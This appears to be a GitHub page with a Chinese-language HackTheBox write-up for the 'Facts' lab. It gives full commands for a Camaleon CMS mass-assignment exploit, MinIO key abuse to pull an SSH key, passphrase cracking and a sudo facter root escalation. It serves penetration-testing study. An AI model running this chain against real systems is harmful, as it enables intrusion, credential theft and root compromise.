karimelsheikh1/HTB-Facts-Writeup
GitHub: karimelsheikh1/HTB-Facts-Writeup
一份 HackTheBox Facts 靶机的完整解题报告,记录了从 CVE-2025-2304 漏洞利用到 MinIO 凭据泄露、SSH 密钥破解和 sudo 提权的全链路渗透过程。
Stars: 0 | Forks: 0
# HackTheBox — Facts Machine 解题报告



## 靶机信息
| 字段 | 详情 |
|-------------|------------------|
| 名称 | Facts |
| 操作系统 | Linux |
| 难度 | Easy(简单) |
| 发布 | 第10季 |
| 是否退役 | 否 |
## 攻击链概述
```
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root
```
## 使用的工具
| 工具 | 用途 |
|------|---------|
| Nmap | 端口扫描与服务检测 |
| Feroxbuster | Web 目录枚举 |
| CVE-2025-2304 PoC | Camaleon CMS 提权 |
| boto3 (Python) | MinIO/S3 枚举与文件下载 |
| ssh2john | 将 SSH 密钥转换为可破解的哈希 |
| John the Ripper | 破解 SSH 密钥密码 |
| facter | 通过 sudo 配置错误进行提权 |
## 信息收集
### 端口扫描
```
sudo nmap -p- --min-rate 5000 -T4 -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321
```
**结果:**
```
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3 (Camaleon CMS)
54321/tcp open http MinIO S3 Server
```
```
echo " facts.htb" | sudo tee -a /etc/hosts
```
## Web 枚举
```
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
```
**关键发现:**
- 识别到的 CMS:**Camaleon CMS 2.9.0**
- 管理面板:`http://facts.htb/admin/login`
- 注册页面:`http://facts.htb/admin/register`
## 初始访问
### 步骤 1 — 注册账号
访问 `http://facts.htb/admin/register` 并创建一个账号。注意这里有一个验证码——请通过浏览器进行注册。
### 步骤 2 — CVE-2025-2304(Mass Assignment 提权)
`updated_ajax` 端点使用了 `permit!`,允许更新包括 `role` 在内的所有参数。
```
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U -P -e
```
**输出:**
```
[+] Login confirmed
Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
```
## 云枚举 — MinIO S3
端口 54321 运行着一个兼容 MinIO S3 的服务器。使用泄露的凭据:
```
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
```
**发现的关键文件:**
```
.ssh/authorized_keys
.ssh/id_ed25519 ← SSH private key
.profile
.bashrc
```
## SSH 密钥破解
```
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
```
**破解的密码:** `dragonballz`
## 用户 Shell
```
ssh -i /tmp/.ssh_id_ed25519 trivia@facts.htb
# 输入密码: dragonballz
```
```
cat /home/william/user.txt
```
## 权限提升
### 枚举
```
sudo -l
```
```
(ALL) NOPASSWD: /usr/bin/facter
```
### 漏洞利用 — facter 自定义 Fact(Ruby 代码执行)
Facter 会将自定义 fact 作为 Ruby 脚本加载。既然我们可以免密以 root 身份运行它,我们就可以注入任意的 Ruby 代码:
```
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
```
**获取到 Root shell!**
```
whoami # root
cat /root/root.txt
```
## 核心要点
- 当输入未被正确过滤时,**Mass assignment** 漏洞会导致提权
- **配置不当的 S3/MinIO** 存储桶可能会暴露包括 SSH 私钥在内的敏感文件
- SSH 密钥上的**弱密码**可以使用像 rockyou 这样的常见字典进行破解
- 必须始终调查具有 **NOPASSWD sudo** 权限的二进制文件是否存在被滥用的可能
- **组合利用多个小的配置错误**可以实现完整的系统沦陷
## 参考
- [CVE-2025-2304 — Camaleon CMS Mass Assignment](https://nvd.nist.gov/vuln/detail/CVE-2025-2304)
- [GTFOBins — facter](https://gtfobins.github.io/)
- [HackTheBox](https://www.hackthebox.com)
*本报告仅供教育目的。请始终在您拥有或已获得明确授权测试的系统上进行安全测试。*
标签:boto3, Camaleon CMS, CISA项目, CTI, CVE-2025-2304, facter, Feroxbuster, HackTheBox, John the Ripper, Linux靶机, Mass Assignment, meg, MinIO, Nginx, Nmap, OpenSSH, Python, S3存储桶, SamuraiWTF, ssh2john, SSH密钥, Sudo滥用, Web安全, Web枚举, Writeup, 云存储, 信息安全, 信息泄露, 凭据泄露, 协议分析, 密码爆破, 批量赋值漏洞, 数据展示, 数据统计, 无后门, 本地提权, 权限提升, 漏洞复现, 端口扫描, 红队, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 逆向工具, 隐私保护, 靶机攻略, 靶机渗透